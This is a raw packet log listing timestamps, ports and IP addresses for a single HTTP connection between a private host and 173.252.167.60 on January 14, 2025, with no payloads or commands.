Jan 14, 2025 19:18:28.921726942 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921726942 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921735048 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921750069 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921762943 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921771049 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921782970 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921799898 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921808004 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921808004 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921813965 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921828032 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921843052 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921857119 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921863079 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921863079 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921871901 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921885967 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921900034 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921905041 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921914101 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921927929 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921941042 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921950102 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921950102 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921955109 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921968937 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921983004 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921997070 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922010899 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922013044 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.922013044 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.922028065 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922043085 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922058105 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922065020 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.922065020 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.922070980 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922086954 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922101974 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922116041 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922116995 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.922116995 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.922128916 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922142982 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922157049 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922169924 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922183990 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922199965 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922209024 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.922209024 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.922209024 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.922214031 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922229052 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922238111 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.922243118 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922259092 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922272921 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922286987 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922290087 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.922301054 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922313929 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.922317028 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.922353983 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.922353983 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.936058044 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.937679052 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.006774902 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.006845951 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.006881952 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.006913900 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.006967068 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.006977081 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.006977081 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.007015944 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007050037 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007097960 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007131100 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007137060 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.007137060 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.007179022 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007211924 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007242918 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007273912 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007301092 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.007301092 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.007349968 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007383108 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007417917 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007456064 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.007456064 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.007458925 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007487059 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007535934 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007569075 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007600069 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007611990 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.007611990 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.007632971 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007666111 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007698059 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007729053 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007736921 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.007736921 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.007777929 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007808924 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007843018 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007874012 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007884979 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.007884979 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.007906914 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007955074 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.007988930 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008073092 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008083105 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.008083105 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.008124113 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008156061 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008189917 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008234024 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.008234024 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.008243084 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008275986 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008306980 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008338928 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008369923 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008378983 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.008378983 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.008402109 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008434057 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008466005 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008496046 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008512020 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.008512020 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.008528948 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008558989 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008590937 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008630991 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.008630991 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.008639097 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008671045 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008721113 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008753061 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008785009 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008820057 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008830070 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.008830070 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.008852005 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008884907 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008915901 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008946896 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.008955956 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.008955956 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.008979082 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009011030 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009020090 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.009042025 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009073973 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009104013 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009111881 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.009111881 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.009135962 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009176016 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009210110 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009241104 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009248018 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.009248018 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.009273052 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009304047 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009340048 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009371042 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009378910 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.009378910 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.009403944 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009434938 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009466887 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009497881 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009505033 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.009505033 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.009530067 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009561062 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009592056 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009623051 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009638071 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.009638071 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.009656906 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009690046 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009721041 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009752035 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009783983 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009795904 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.009795904 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.009814978 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009828091 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.009828091 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.009846926 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009877920 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009910107 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009941101 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009972095 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.009982109 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.009982109 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.010003090 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.010035038 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.010066032 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.010097027 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.010117054 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.010117054 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.010143995 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.010175943 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.010207891 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.010238886 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.010248899 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.010248899 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.010270119 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.010277987 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.010304928 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.010337114 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.010369062 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.010400057 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.010410070 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.010410070 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.010432959 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.010463953 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.010495901 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.010524035 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.010536909 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.010536909 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.010555983 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.010588884 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.011337996 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.020646095 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.022810936 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.093729973 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.093822002 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.093857050 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.093910933 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.093943119 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.093961000 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.093961000 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.093978882 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094012022 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094062090 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094094992 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094105005 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.094105005 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.094129086 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094177961 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094209909 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094233036 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.094242096 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094255924 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.094305038 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094336987 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094368935 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094402075 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094404936 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.094404936 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.094453096 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094502926 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094552040 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094573021 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.094584942 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094631910 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094665051 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094697952 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094707966 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.094707966 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.094752073 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094801903 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094834089 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094877005 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.094877005 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.094882965 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094914913 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094930887 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.094963074 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.094995975 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095029116 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095041990 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.095061064 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095109940 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095140934 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095185995 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.095185995 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.095189095 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095227003 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095259905 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095290899 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095330954 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.095330954 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.095371962 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095403910 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095422029 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.095452070 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095484018 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095515013 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095546007 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095551968 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.095551968 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.095577955 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095627069 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095659971 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095691919 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095699072 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.095699072 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.095724106 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095753908 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095786095 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095818043 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095824957 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.095824957 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.095849991 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095880985 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095915079 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095946074 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.095952034 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.095952034 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.095978975 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096010923 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096043110 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096072912 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096079111 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.096080065 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.096106052 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096137047 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096168041 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096199036 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096208096 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.096208096 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.096230984 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096261978 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096295118 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096326113 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096337080 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.096359015 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096385956 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096395969 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.096395969 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.096417904 CET	80	49741	173.252.167.60	192.168.2.4
